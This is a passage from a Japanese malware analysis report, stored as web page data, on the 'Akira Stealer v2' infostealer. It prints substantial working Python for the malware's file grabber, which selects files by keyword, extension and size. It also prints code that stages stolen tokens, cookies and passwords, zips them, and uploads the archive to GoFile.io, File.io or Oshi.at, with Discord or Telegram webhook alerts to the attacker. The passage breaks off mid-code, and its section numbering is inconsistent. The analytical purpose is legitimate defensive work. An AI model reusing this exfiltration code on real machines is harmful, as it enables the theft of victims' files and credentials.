認証、ウォレット、暗号通貨、トークンに関連する語を包含します。",[862,9569,9571],{"id":9570},"_7113-許可されるファイルの種類","7.11.3 許可されるファイルの種類",[532,9573,868],{},[532,9575,9576],{},"ノイズを最小化するため、拡張子のホワイトリストが適用されます。",[588,9578,9580],{"className":4486,"code":9579,"language":4488,"meta":594,"style":594},"allowed_extensions = [\n    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n    \".jpg\", \".png\"\n]\n",[550,9581,9582,9587,9592,9597],{"__ignoreMap":594},[1680,9583,9584],{"class":1682,"line":1683},[1680,9585,9586],{},"allowed_extensions = [\n",[1680,9588,9589],{"class":1682,"line":2058},[1680,9590,9591],{},"    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n",[1680,9593,9594],{"class":1682,"line":2064},[1680,9595,9596],{},"    \".jpg\", \".png\"\n",[1680,9598,9599],{"class":1682,"line":2070},[1680,9600,7913],{},[862,9602,9604],{"id":9603},"_7113-サイズの制約","7.11.3 サイズの制約",[532,9606,868],{},[532,9608,9609],{},"窃取の速度を最適化し大きな転送を避けるため、2メガバイトを超えるファイルはスキップされます。",[588,9611,9613],{"className":4486,"code":9612,"language":4488,"meta":594,"style":594},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\nif file_size_mb \u003C= 2:\n    # eligible for copy\n",[550,9614,9615,9620,9625],{"__ignoreMap":594},[1680,9616,9617],{"class":1682,"line":1683},[1680,9618,9619],{},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\n",[1680,9621,9622],{"class":1682,"line":2058},[1680,9623,9624],{},"if file_size_mb \u003C= 2:\n",[1680,9626,9627],{"class":1682,"line":2064},[1680,9628,9629],{},"    # eligible for copy\n",[862,9631,9633],{"id":9632},"_7114-再帰的な走査とコピーのロジック","7.11.4 再帰的な走査とコピーのロジック",[532,9635,868],{},[532,9637,9638],{},"高価値のディレクトリを特定すると、Akiraは再帰的な走査ルーチンを開始し、サブフォルダーをたどって特定のキーワードと拡張子に一致するファイルを探します。このフェーズは精度とステルス性のために作られています。あらかじめ定義された基準（機微なキーワードを含むファイル名や、承認されたファイル種類など）に一致するファイルだけが対象になります。このロジックにより、関連するユーザー生成コンテンツだけが窃取されるようになっています。システムファイル、キャッシュ、バイナリは無視し、単一ファイルのサイズを2 MBに制限してアップロードサイズと検出リスクを抑えます。この走査方式は静かで効率的、実運用環境でのステルスなデータ窃取に最適化されています。一致するファイルを中継フォルダーにコピーし、何を持ち出したかのリストを保持することで、Akiraは重複と運用上のノイズを最小化しつつ、コンテンツをバンドルと窃取に向けて準備します。",[532,9640,9641,9642,9645],{},"中核ルーチン ",[550,9643,9644],{},"steal_files()"," は次のように動作します。",[588,9647,9649],{"className":4486,"code":9648,"language":4488,"meta":594,"style":594},"@staticmethod\ndef steal_files():\n    stolen_files = set()\n    temp_folder = Utils.get_temp_folder()\n\n    for folder in searchFolders:\n        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n        if os.path.exists(current_path):\n            for root, _, files in os.walk(current_path):\n                for file in files:\n                    lower = file.lower()\n                    # Keyword check\n                    if any(keyword in lower for keyword in keywordsFiles):\n                        ext = os.path.splitext(lower)[1]\n                        # Extension and size check\n                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n                            # Prepare destination\n                            files_dir = os.path.join(temp_folder, \"Files\")\n                            os.makedirs(files_dir, exist_ok=True)\n                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n                            stolen_files.add(file)\n    data.stolen_files.extend(stolen_files)\n",[550,9650,9651,9655,9660,9665,9670,9674,9679,9684,9689,9694,9699,9704,9709,9714,9719,9724,9729,9734,9739,9744,9749,9754],{"__ignoreMap":594},[1680,9652,9653],{"class":1682,"line":1683},[1680,9654,4972],{},[1680,9656,9657],{"class":1682,"line":2058},[1680,9658,9659],{},"def steal_files():\n",[1680,9661,9662],{"class":1682,"line":2064},[1680,9663,9664],{},"    stolen_files = set()\n",[1680,9666,9667],{"class":1682,"line":2070},[1680,9668,9669],{},"    temp_folder = Utils.get_temp_folder()\n",[1680,9671,9672],{"class":1682,"line":2393},[1680,9673,3843],{"emptyLinePlaceholder":325},[1680,9675,9676],{"class":1682,"line":2399},[1680,9677,9678],{},"    for folder in searchFolders:\n",[1680,9680,9681],{"class":1682,"line":3051},[1680,9682,9683],{},"        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1680,9685,9686],{"class":1682,"line":3846},[1680,9687,9688],{},"        if os.path.exists(current_path):\n",[1680,9690,9691],{"class":1682,"line":3852},[1680,9692,9693],{},"            for root, _, files in os.walk(current_path):\n",[1680,9695,9696],{"class":1682,"line":4099},[1680,9697,9698],{},"                for file in files:\n",[1680,9700,9701],{"class":1682,"line":5020},[1680,9702,9703],{},"                    lower = file.lower()\n",[1680,9705,9706],{"class":1682,"line":5026},[1680,9707,9708],{},"                    # Keyword check\n",[1680,9710,9711],{"class":1682,"line":5032},[1680,9712,9713],{},"                    if any(keyword in lower for keyword in keywordsFiles):\n",[1680,9715,9716],{"class":1682,"line":5038},[1680,9717,9718],{},"                        ext = os.path.splitext(lower)[1]\n",[1680,9720,9721],{"class":1682,"line":5044},[1680,9722,9723],{},"                        # Extension and size check\n",[1680,9725,9726],{"class":1682,"line":5050},[1680,9727,9728],{},"                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n",[1680,9730,9731],{"class":1682,"line":5056},[1680,9732,9733],{},"                            # Prepare destination\n",[1680,9735,9736],{"class":1682,"line":5062},[1680,9737,9738],{},"                            files_dir = os.path.join(temp_folder, \"Files\")\n",[1680,9740,9741],{"class":1682,"line":5068},[1680,9742,9743],{},"                            os.makedirs(files_dir, exist_ok=True)\n",[1680,9745,9746],{"class":1682,"line":5074},[1680,9747,9748],{},"                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n",[1680,9750,9751],{"class":1682,"line":5080},[1680,9752,9753],{},"                            stolen_files.add(file)\n",[1680,9755,9756],{"class":1682,"line":5086},[1680,9757,9758],{},"    data.stolen_files.extend(stolen_files)\n",[532,9760,9761],{},[539,9762,9763],{},"要点:",[2078,9765,9766,9774,9784,9792,9798],{},[607,9767,9768,9773],{},[539,9769,9770],{},[550,9771,9772],{},"os.walk",": サブディレクトリへ再帰的に降りていきます。",[607,9775,9776,9779,9780,9783],{},[539,9777,9778],{},"大文字小文字を区別しない照合",": ファイル名は ",[550,9781,9782],{},"lower()"," で正規化されます。",[607,9785,9786,975,9789,9791],{},[539,9787,9788],{},"アトミックなコピー",[550,9790,7779],{}," を使ってファイルの内容を保持します。",[607,9793,9794,9797],{},[539,9795,9796],{},"窃取済みファイル名の集合",": 同じファイルが2回現れたときの重複コピーを防ぎます。",[607,9799,9800,975,9805,9808],{},[539,9801,9802,9804],{},[550,9803,9062],{}," との連携",[550,9806,9807],{},"data.stolen_files"," が、後の報告のために窃取したファイルのリストを蓄積します。",[862,9810,9812],{"id":9811},"_7115-アーカイブ化と窃取","7.11.5 アーカイブ化と窃取",[532,9814,868],{},[532,9816,9817,9818,9821],{},"収集の後、",[550,9819,9820],{},"Files"," フォルダーはZIP化されて送り出されます。",[588,9823,9825],{"className":4486,"code":9824,"language":4488,"meta":594,"style":594},"# Archive\nUtils.zip_client_file()  # creates CLIENT.zip from temp_folder\n\n# Upload & Notify\nakira.sendFilesTG(Utils.get_temp_folder(), startup)\nhook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[550,9826,9827,9832,9837,9841,9846,9851],{"__ignoreMap":594},[1680,9828,9829],{"class":1682,"line":1683},[1680,9830,9831],{},"# Archive\n",[1680,9833,9834],{"class":1682,"line":2058},[1680,9835,9836],{},"Utils.zip_client_file()  # creates CLIENT.zip from temp_folder\n",[1680,9838,9839],{"class":1682,"line":2064},[1680,9840,3843],{"emptyLinePlaceholder":325},[1680,9842,9843],{"class":1682,"line":2070},[1680,9844,9845],{},"# Upload & Notify\n",[1680,9847,9848],{"class":1682,"line":2393},[1680,9849,9850],{},"akira.sendFilesTG(Utils.get_temp_folder(), startup)\n",[1680,9852,9853],{"class":1682,"line":2399},[1680,9854,9855],{},"hook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[604,9857,9858,9873],{},[607,9859,9860,975,9865,620,9867,620,9869,9872],{},[539,9861,9862],{},[550,9863,9864],{},"zip_client_file()",[550,9866,9820],{},[550,9868,6319],{},[550,9870,9871],{},"Passwords"," などを含む一時ディレクトリ全体を圧縮します。",[607,9874,9875,9879,9880],{},[539,9876,9877],{},[550,9878,9043],{},": TelegramまたはDiscord Webhook経由でダウンロードリンクを投稿し、窃取した各ファイル名を列挙します。",[588,9881,9883],{"className":4486,"code":9882,"language":4488,"meta":594,"style":594},"fields.append({\n\"name\": \"📂 Files\",\n\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n\"inline\": False\n})\n",[550,9884,9885,9890,9895,9900,9905],{"__ignoreMap":594},[1680,9886,9887],{"class":1682,"line":1683},[1680,9888,9889],{},"fields.append({\n",[1680,9891,9892],{"class":1682,"line":2058},[1680,9893,9894],{},"\"name\": \"📂 Files\",\n",[1680,9896,9897],{"class":1682,"line":2064},[1680,9898,9899],{},"\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n",[1680,9901,9902],{"class":1682,"line":2070},[1680,9903,9904],{},"\"inline\": False\n",[1680,9906,9907],{"class":1682,"line":2393},[1680,9908,9909],{},"})\n",[532,9911,9912],{},[539,9913,9914],{},"結論:",[532,9916,9917],{},"Akira Stealer v2のファイルグラバーは、キーワードと拡張子のフィルターを使って機微なドキュメントを体系的に探し、効率のために2 MBのサイズ上限を守り、窃取した項目をアーカイブにまとめます。その設計は網羅性（複数のフォルダー）と精度（的を絞ったフィルター）の両方を確保しており、このマルウェアのライフサイクルにおいて最も影響の大きい段階の1つになっています。",[714,9919,9921],{"id":9920},"_712-窃取の戦略","7.12 窃取の戦略",[532,9923,720],{},[532,9925,9926],{},"窃取モジュールは、収集したトークンと追加の成果物（Cookie、自動入力、ログ）を、構造化されたディレクトリに集めてアーカイブに圧縮し、複数のオンラインファイルホストにアップロードして、詳細なWebhook通知を送ります。このセクションでは、完全な追跡可能性のために、ファイルパス、ドメインのエンドポイント、コード参照とともに各ステップを分解します。",[862,9928,9930],{"id":9929},"_7121-ディレクトリ構成とファイル名","7.12.1 ディレクトリ構成とファイル名",[532,9932,868],{},[532,9934,9935],{},"Akiraは、収集したすべての成果物を、整然とした階層的な一時ディレクトリ構造にまとめます。この設計により、効率的なパッケージングと、攻撃者による窃取後の容易な確認が可能になります。トークン、Cookie、パスワード、スクリーンショットといったデータのカテゴリーごとに、被害者のコンピューター名（例: DESKTOP1234）を冠したルートパスの下の専用サブフォルダーに保存されます。この構造化された構成は明確さを確保し、重複を最小化し、アーカイブ化とアップロードの処理を効率化します。攻撃者側での自動解析や手作業の検査もはるかに容易になります。",[588,9937,9940],{"className":9938,"code":9939,"language":593},[591],"C:\\Users\\User\\AppData\\Local\\Temp\\DESKTOP1234\\\n├─ Tokens\\\n│   ├ token_ab12cd34.txt\n│   └ token_ef56gh78.txt\n├─ Cookies\\\n│   ├ Chrome_Cookies.txt\n│   └ Discord_Cookies.txt\n├─ Autofill\\\n├─ Passwords\\\n├─ Logs\\\n└─ Screenshots\\\n",[550,9941,9939],{"__ignoreMap":594},[862,9943,9945],{"id":9944},"_7122-トークンと成果物のステージング","7.12.2 トークンと成果物のステージング",[532,9947,868],{},[532,9949,9950],{},"窃取の前に、Akiraは関連するすべての成果物を対応するサブフォルダーに配置します。たとえばトークンの値は、素早い走査と検証を容易にするため個別の.txtファイルに書き込まれます。Cookie、自動入力エントリ、パスワードも同様に、ブラウザー名を冠した構造化されたテキストファイルに書き込まれます。このステップはデータの配置を標準化し、自動化ツールが何を収集したかを追跡できるようにします。また、どのモジュールが起動されたかにかかわらず、後のZIPアーカイブが予測可能で攻撃者にとって扱いやすい形式になることを保証します。",[588,9952,9954],{"className":4486,"code":9953,"language":4488,"meta":594,"style":594},"import os, shutil\n# Constants\nTMP = os.getenv('TEMP')\nROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n# Prepare structure\nfor sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n# Save token\nwith open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n    f.write(token)\n",[550,9955,9956,9961,9966,9971,9976,9981,9986,9991,9996,10001],{"__ignoreMap":594},[1680,9957,9958],{"class":1682,"line":1683},[1680,9959,9960],{},"import os, shutil\n",[1680,9962,9963],{"class":1682,"line":2058},[1680,9964,9965],{},"# Constants\n",[1680,9967,9968],{"class":1682,"line":2064},[1680,9969,9970],{},"TMP = os.getenv('TEMP')\n",[1680,9972,9973],{"class":1682,"line":2070},[1680,9974,9975],{},"ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n",[1680,9977,9978],{"class":1682,"line":2393},[1680,9979,9980],{},"# Prepare structure\n",[1680,9982,9983],{"class":1682,"line":2399},[1680,9984,9985],{},"for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n",[1680,9987,9988],{"class":1682,"line":3051},[1680,9989,9990],{},"    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n",[1680,9992,9993],{"class":1682,"line":3846},[1680,9994,9995],{},"# Save token\n",[1680,9997,9998],{"class":1682,"line":3852},[1680,9999,10000],{},"with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n",[1680,10002,10003],{"class":1682,"line":4099},[1680,10004,10005],{},"    f.write(token)\n",[604,10007,10008,10011],{},[607,10009,10010],{},"トークンは素早い確認のため個別の小さなテキストファイルに保存されます。",[607,10012,10013,10016,10017,10020],{},[550,10014,10015],{},"Chromium.GetCookies()"," によるCookieのダンプは ",[550,10018,10019],{},"{Browser}_Cookies.txt"," に書き込まれます。",[862,10022,10024],{"id":10023},"_7133-zipアーカイブの作成","7.13.3 ZIPアーカイブの作成",[532,10026,868],{},[532,10028,10029,10030],{},"ステージングが完了すると、Akiraはディレクトリ全体を1つのZIPアーカイブに圧縮します。アーカイブのファイル名は一貫した命名規則に従います。",[10031,10032,10033,10034],"computer-name",{},"_",[10035,10036,10037],"timestamp",{},".zip という形式で、ホストのマシン名とISO 8601形式のUTCタイムスタンプを使います。これにより一意性と時系列の追跡可能性の両方が確保されます。ステージングディレクトリ全体を再帰的にたどることで、すべてのファイルがZIP内で相対的な構造のまま保持されます。この形式は、特に何百もの被害者が並行して侵害された場合に、攻撃者による一括の取得と検査を簡単にします。",[588,10039,10041],{"className":4486,"code":10040,"language":4488,"meta":594,"style":594},"import zipfile, datetime\n\ndef create_archive(root_dir: str) -> str:\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n        for dirpath, _, files in os.walk(root_dir):\n            for fname in files:\n                full = os.path.join(dirpath, fname)\n                rel = os.path.relpath(full, root_dir)\n                zf.write(full, rel)\n    return zip_path\n",[550,10042,10043,10048,10052,10057,10062,10067,10072,10077,10082,10087,10092,10097,10102],{"__ignoreMap":594},[1680,10044,10045],{"class":1682,"line":1683},[1680,10046,10047],{},"import zipfile, datetime\n",[1680,10049,10050],{"class":1682,"line":2058},[1680,10051,3843],{"emptyLinePlaceholder":325},[1680,10053,10054],{"class":1682,"line":2064},[1680,10055,10056],{},"def create_archive(root_dir: str) -> str:\n",[1680,10058,10059],{"class":1682,"line":2070},[1680,10060,10061],{},"    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n",[1680,10063,10064],{"class":1682,"line":2393},[1680,10065,10066],{},"    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n",[1680,10068,10069],{"class":1682,"line":2399},[1680,10070,10071],{},"    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n",[1680,10073,10074],{"class":1682,"line":3051},[1680,10075,10076],{},"    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n",[1680,10078,10079],{"class":1682,"line":3846},[1680,10080,10081],{},"        for dirpath, _, files in os.walk(root_dir):\n",[1680,10083,10084],{"class":1682,"line":3852},[1680,10085,10086],{},"            for fname in files:\n",[1680,10088,10089],{"class":1682,"line":4099},[1680,10090,10091],{},"                full = os.path.join(dirpath, fname)\n",[1680,10093,10094],{"class":1682,"line":5020},[1680,10095,10096],{},"                rel = os.path.relpath(full, root_dir)\n",[1680,10098,10099],{"class":1682,"line":5026},[1680,10100,10101],{},"                zf.write(full, rel)\n",[1680,10103,10104],{"class":1682,"line":5032},[1680,10105,10106],{},"    return zip_path\n",[604,10108,10109],{},[607,10110,10111,10112,10115],{},"アーカイブは、ホストの一貫性のために ",[550,10113,10114],{},"DESKTOP1234_20250505T123456Z.zip"," と名付けられます。",[532,10117,10118],{},[539,10119,10120],{},"ZIPファイル名の規則",[532,10122,10123],{},"アーカイブは、侵害されたホストのコンピューター名にISO形式のUTCタイムスタンプを続けて命名され、一意性と時系列順が確保されます。",[588,10125,10127],{"className":4486,"code":10126,"language":4488,"meta":594,"style":594},"import datetime, os\n\ndef create_archive(root_dir: str) -> str:\n    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    return zip_path\n",[550,10128,10129,10134,10138,10142,10147,10151,10156,10160,10164],{"__ignoreMap":594},[1680,10130,10131],{"class":1682,"line":1683},[1680,10132,10133],{},"import datetime, os\n",[1680,10135,10136],{"class":1682,"line":2058},[1680,10137,3843],{"emptyLinePlaceholder":325},[1680,10139,10140],{"class":1682,"line":2064},[1680,10141,10056],{},[1680,10143,10144],{"class":1682,"line":2070},[1680,10145,10146],{},"    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n",[1680,10148,10149],{"class":1682,"line":2393},[1680,10150,10061],{},[1680,10152,10153],{"class":1682,"line":2399},[1680,10154,10155],{},"    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n",[1680,10157,10158],{"class":1682,"line":3051},[1680,10159,10066],{},[1680,10161,10162],{"class":1682,"line":3846},[1680,10163,10071],{},[1680,10165,10166],{"class":1682,"line":3852},[1680,10167,10106],{},[532,10169,10123],{},[862,10171,10173],{"id":10172},"_7144-アップロードのワークフロー","7.14.4 アップロードのワークフロー",[532,10175,868],{},[532,10177,10178],{},"Akiraは、データ窃取の成功確率を最大化するため、3層のアップロード戦略を使います。まずGoFile.ioの公開APIを使ってアーカイブのアップロードを試み、ダウンロードリンクを受け取ります。GoFileが利用できないかブロックされている場合は、File.io、続いてOshi.atにフォールバックし、データが必ず転送されるようにします。これらのサービスは匿名で短命なホスティングを提供するため、テイクダウンと追跡が難しくなります。スクリプトは最終的なダウンロードURLを取得し、Webhook配信に向けて準備します。",[2078,10180,10181,10213,10241],{},[607,10182,10183,10186],{},[539,10184,10185],{},"主: GoFile.io",[604,10187,10188,10196,10204],{},[607,10189,10190,975,10193],{},[539,10191,10192],{},"サーバー取得用API",[550,10194,10195],{},"GET https://api.gofile.io/servers",[607,10197,10198,975,10201],{},[539,10199,10200],{},"アップロードエンドポイント",[550,10202,10203],{},"POST https://\u003Cserver>.gofile.io/contents/uploadfile",[607,10205,10206,975,10209,10212],{},[539,10207,10208],{},"レスポンスのフィールド",[550,10210,10211],{},"data.downloadPage"," が最終URLを含みます。",[607,10214,10215,10218],{},[539,10216,10217],{},"フォールバック#1: File.io",[604,10219,10220,10231],{},[607,10221,10222,975,10224,6236,10227,10230],{},[539,10223,10200],{},[550,10225,10226],{},"POST https://file.io/",[550,10228,10229],{},"files={'file': open(...)}"," を伴う）",[607,10232,10233,10236,10237,10240],{},[539,10234,10235],{},"レスポンス",": JSONの ",[550,10238,10239],{},"link"," フィールド。",[607,10242,10243,10246],{},[539,10244,10245],{},"フォールバック#2: Oshi.at",[604,10247,10248,10262],{},[607,10249,10250,975,10252,6236,10255,10258,10259,10230],{},[539,10251,10200],{},[550,10253,10254],{},"POST http://oshi.at/",[550,10256,10257],{},"files[]"," とパラメーター ",[550,10260,10261],{},"expire=43200, autodestroy=0",[607,10263,10264,975,10266,10269],{},[539,10265,10235],{},[550,10267,10268],{},"DL: \u003Curl>"," を含むプレーンテキスト。",[532,10271,10272],{},[539,10273,10274],{},"実装の断片:",[588,10276,10278],{"className":4486,"code":10277,"language":4488,"meta":594,"style":594},"import requests\n\ndef upload_with_fallback(zip_path):\n    # GoFile\n    try:\n        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n        for srv in servers:\n            try:\n                r = requests.post(\n                    f'https://{srv}.gofile.io/contents/uploadfile',\n                    files={'file': open(zip_path,'rb')}, timeout=20)\n                url = r.json()['data']['downloadPage']\n                if url: return url\n            except: continue\n    except: pass\n    # File.io\n    try:\n        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n        return r.json().get('link','')\n    except: pass\n    # Oshi.at\n    try:\n        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n        return text.split('DL: ')[1].strip()\n    except: pass\n    return ''\n",[550,10279,10280,10285,10289,10294,10299,10303,10308,10313,10318,10323,10328,10333,10338,10343,10348,10353,10358,10362,10367,10372,10376,10381,10385,10390,10395,10399],{"__ignoreMap":594},[1680,10281,10282],{"class":1682,"line":1683},[1680,10283,10284],{},"import requests\n",[1680,10286,10287],{"class":1682,"line":2058},[1680,10288,3843],{"emptyLinePlaceholder":325},[1680,10290,10291],{"class":1682,"line":2064},[1680,10292,10293],{},"def upload_with_fallback(zip_path):\n",[1680,10295,10296],{"class":1682,"line":2070},[1680,10297,10298],{},"    # GoFile\n",[1680,10300,10301],{"class":1682,"line":2393},[1680,10302,5135],{},[1680,10304,10305],{"class":1682,"line":2399},[1680,10306,10307],{},"        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n",[1680,10309,10310],{"class":1682,"line":3051},[1680,10311,10312],{},"        for srv in servers:\n",[1680,10314,10315],{"class":1682,"line":3846},[1680,10316,10317],{},"            try:\n",[1680,10319,10320],{"class":1682,"line":3852},[1680,10321,10322],{},"                r = requests.post(\n",[1680,10324,10325],{"class":1682,"line":4099},[1680,10326,10327],{},"                    f'https://{srv}.gofile.io/contents/uploadfile',\n",[1680,10329,10330],{"class":1682,"line":5020},[1680,10331,10332],{},"                    files={'file': open(zip_path,'rb')}, timeout=20)\n",[1680,10334,10335],{"class":1682,"line":5026},[1680,10336,10337],{},"                url = r.json()['data']['downloadPage']\n",[1680,10339,10340],{"class":1682,"line":5032},[1680,10341,10342],{},"                if url: return url\n",[1680,10344,10345],{"class":1682,"line":5038},[1680,10346,10347],{},"            except: continue\n",[1680,10349,10350],{"class":1682,"line":5044},[1680,10351,10352],{},"    except: pass\n",[1680,10354,10355],{"class":1682,"line":5050},[1680,10356,10357],{},"    # File.io\n",[1680,10359,10360],{"class":1682,"line":5056},[1680,10361,5135],{},[1680,10363,10364],{"class":1682,"line":5062},[1680,10365,10366],{},"        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n",[1680,10368,10369],{"class":1682,"line":5068},[1680,10370,10371],{},"        return r.json().get('link','')\n",[1680,10373,10374],{"class":1682,"line":5074},[1680,10375,10352],{},[1680,10377,10378],{"class":1682,"line":5080},[1680,10379,10380],{},"    # Oshi.at\n",[1680,10382,10383],{"class":1682,"line":5086},[1680,10384,5135],{},[1680,10386,10387],{"class":1682,"line":5092},[1680,10388,10389],{},"        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n",[1680,10391,10392],{"class":1682,"line":5098},[1680,10393,10394],{},"        return text.split('DL: ')[1].strip()\n",[1680,10396,10397],{"class":1682,"line":5104},[1680,10398,10352],{},[1680,10400,10401],{"class":1682,"line":5770},[1680,10402,10403],{},"    return ''\n",[862,10405,10407],{"id":10406},"_7155-webhookのアラート攻撃者による取得解析者の可視性の限界","7.15.5 Webhookのアラート、攻撃者による取得、解析者の可視性の限界",[532,10409,868],{},[532,10411,10412],{},"ZIPアーカイブをアップロードした後、Akiraは（通常はDiscordまたはTelegramに）Webhook通知を送ります。窃取したトークンの数、Cookieの数、ファイルサイズ、クリック可能なダウンロードリンクといった詳細情報を含む構造化されたエンベッドを伴います。これにより攻撃者は即座にフィードバックと取得手段を得ます。信頼性を確保するため、アーカイブのリンクだけを含むプレーンテキストのフォールバックメッセージも送られます。この冗長性は、エンベッドがプラットフォームにブロックされたりフィルターされたりしても配信を保証します。防御側から見ると、送信方向のネットワーク監視が整っていない限り、こうした通信はしばしば見えません。",[532,10414,10415],{},[539,10416,10417],{},"エンベッド通知",[588,10419,10421],{"className":4486,"code":10420,"language":4488,"meta":594,"style":594},"# Build embed with key metadata\ntoken_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\nfields = [\n    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n]\npayload = {\n    'username':'Akira 💊',\n    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n}\nrequests.post(webhook_url, json=payload, timeout=8)\n",[550,10422,10423,10428,10433,10438,10443,10448,10453,10458,10463,10467,10472,10477,10482,10486],{"__ignoreMap":594},[1680,10424,10425],{"class":1682,"line":1683},[1680,10426,10427],{},"# Build embed with key metadata\n",[1680,10429,10430],{"class":1682,"line":2058},[1680,10431,10432],{},"token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\n",[1680,10434,10435],{"class":1682,"line":2064},[1680,10436,10437],{},"fields = [\n",[1680,10439,10440],{"class":1682,"line":2070},[1680,10441,10442],{},"    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n",[1680,10444,10445],{"class":1682,"line":2393},[1680,10446,10447],{},"    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n",[1680,10449,10450],{"class":1682,"line":2399},[1680,10451,10452],{},"    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n",[1680,10454,10455],{"class":1682,"line":3051},[1680,10456,10457],{},"    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n",[1680,10459,10460],{"class":1682,"line":3846},[1680,10461,10462],{},"    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n",[1680,10464,10465],{"class":1682,"line":3852},[1680,10466,7913],{},[1680,10468,10469],{"class":1682,"line":4099},[1680,10470,10471],{},"payload = {\n",[1680,10473,10474],{"class":1682,"line":5020},[1680,10475,10476],{},"    'username':'Akira 💊',\n",[1680,10478,10479],{"class":1682,"line":5026},[1680,10480,10481],{},"    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n",[1680,10483,10484],{"class":1682,"line":5032},[1680,10485,2402],{},[1680,10487,10488],{"class":1682,"line":5038},[1680,10489,10490],{},"requests.post(webhook_url, json=payload, timeout=8)\n",[604,10492,10493,10499],{},[607,10494,10495,10498],{},[539,10496,10497],{},"配信",": 攻撃者のDiscord／Telegramチャネルに送られます。",[607,10500,10501,10504,10505,10508],{},[539,10502,10503],{},"エンベッドのリンク",": GoFile（またはフォールバックのホスト）上のZIPを指す、クリック可能な ",[550,10506,10507],{},"download_url"," を含みます。",[532,10510,10511],{},[539,10512,10513],{},"生リンクのフォールバック",[588,10515,10517],{"className":4486,"code":10516,"language":4488,"meta":594,"style":594},"# Ensure attacker always has direct URL, even if embeds fail\nmessage = f\"📥 Archive available at: {download_url}\"\nrequests.post(webhook_url, data={'message': message}, timeout=8)\n",[550,10518,10519,10524,10529],{"__ignoreMap":594},[1680,10520,10521],{"class":1682,"line":1683},[1680,10522,10523],{},"# Ensure attacker always has direct URL, even if embeds fail\n",[1680,10525,10526],{"class":1682,"line":2058},[1680,10527,10528],{},"message = f\"📥 Archive available at: {download_url}\"\n",[1680,10530,10531],{"class":1682,"line":2064},[1680,10532,10533],{},"requests.post(webhook_url, data={'message': message}, timeout=8)\n",[604,10535,10536],{},[607,10537,10538,10541],{},[539,10539,10540],{},"プレーンテキスト",": エンベッドがブロックされたり静かに破棄されたりした場合に備えて、リンクの配信を保証します。",[532,10543,10544],{},[539,10545,10546],{},"攻撃者がリンクを取得する方法",[532,10548,10549,10552],{},[539,10550,10551],{},"1. Webhookインフラ","\n攻撃者は、Webhookのエンドポイントをマルウェアの設定に埋め込みます。",[588,10554,10556],{"className":4486,"code":10555,"language":4488,"meta":594,"style":594},"# at class initialization\nself.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[550,10557,10558,10563],{"__ignoreMap":594},[1680,10559,10560],{"class":1682,"line":1683},[1680,10561,10562],{},"# at class initialization\n",[1680,10564,10565],{"class":1682,"line":2058},[1680,10566,10567],{},"self.default_webhook = 